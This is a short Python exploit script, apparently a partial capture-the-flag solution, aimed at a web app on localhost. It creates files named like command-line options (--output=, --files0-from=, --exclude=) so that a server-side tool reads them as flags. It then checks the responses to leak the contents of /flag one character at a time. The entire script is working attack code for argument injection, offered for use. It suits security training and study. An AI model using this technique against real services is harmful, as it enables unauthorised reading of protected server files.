#!/usr/bin/env python3

'''
Incompelete solution. Just for demostration purpose.
'''
import requests
import re
s = requests.session()
url = 'http://localhost'
r = s.get(url)
uid = re.findall('User: ([0-9a-f]+)', r.text)[0]


for name in f'''
./--output=
./--output=/sandbox
./--output=/sandbox/{uid}
./--output=/sandbox/{uid}/--zero-terminated
./--output=/sandbox/{uid}/--output=a
./--output=/sandbox/{uid}/--files0-from=a
'''.strip().splitlines():
    s.get(url, params=dict(args=name, op='create'))

for i in '0123456789abcdef':
    name = f'./--output=/sandbox/{uid}/--exclude=?flag?' + '?' * 30 + i + '9'
    r = s.get(url, params=dict(args=name, op='create'))

def create_file(name):
    r = s.get(url + '/q/add', params=dict(args=' '.join(['--', name, '/flag'])))
    s.get(url + '/q/skip')
    s.get(url + '/q/shuf')
    s.get(url + '/q/skip')
    s.get(url + '/q/skip')

create_file(f'--output=/sandbox/{uid}/--zero-terminated')
create_file(f'--output=/sandbox/{uid}/--files0-from=a')
for i in '0123456789abcdef':
    create_file(f'--output=/sandbox/{uid}/--exclude=?flag?' + '?' * 30 + i + '9')
create_file(f'--output=/sandbox/{uid}/--output=a')
s.get(url + '/q/add', params=dict(args=' '.join(f'''
--
--output=a
--zero-terminated
/flag
'''.strip().splitlines())))
s.get(url + '/q/skip')
s.get(url + '/q/shuf')
s.get(url + '/q/skip')
s.get(url + '/q/skip')
s.get(url + '/q/skip')


def stat(name):
    return s.get(url, params=dict(args=' '.join(['--files0-from=a', name]), op='stat'))

for i in '0123456789abcdef':
    n = '--exclude=?flag?' + '?' * 30 + i + '9'
    t = stat(n).text
    idx = t.find('<legend>Your playlists</legend>')
    if not '4.0K	/flag'in t[idx:idx+100]:
        print(t[idx:idx+200])
        print('repr', i)
print(uid)

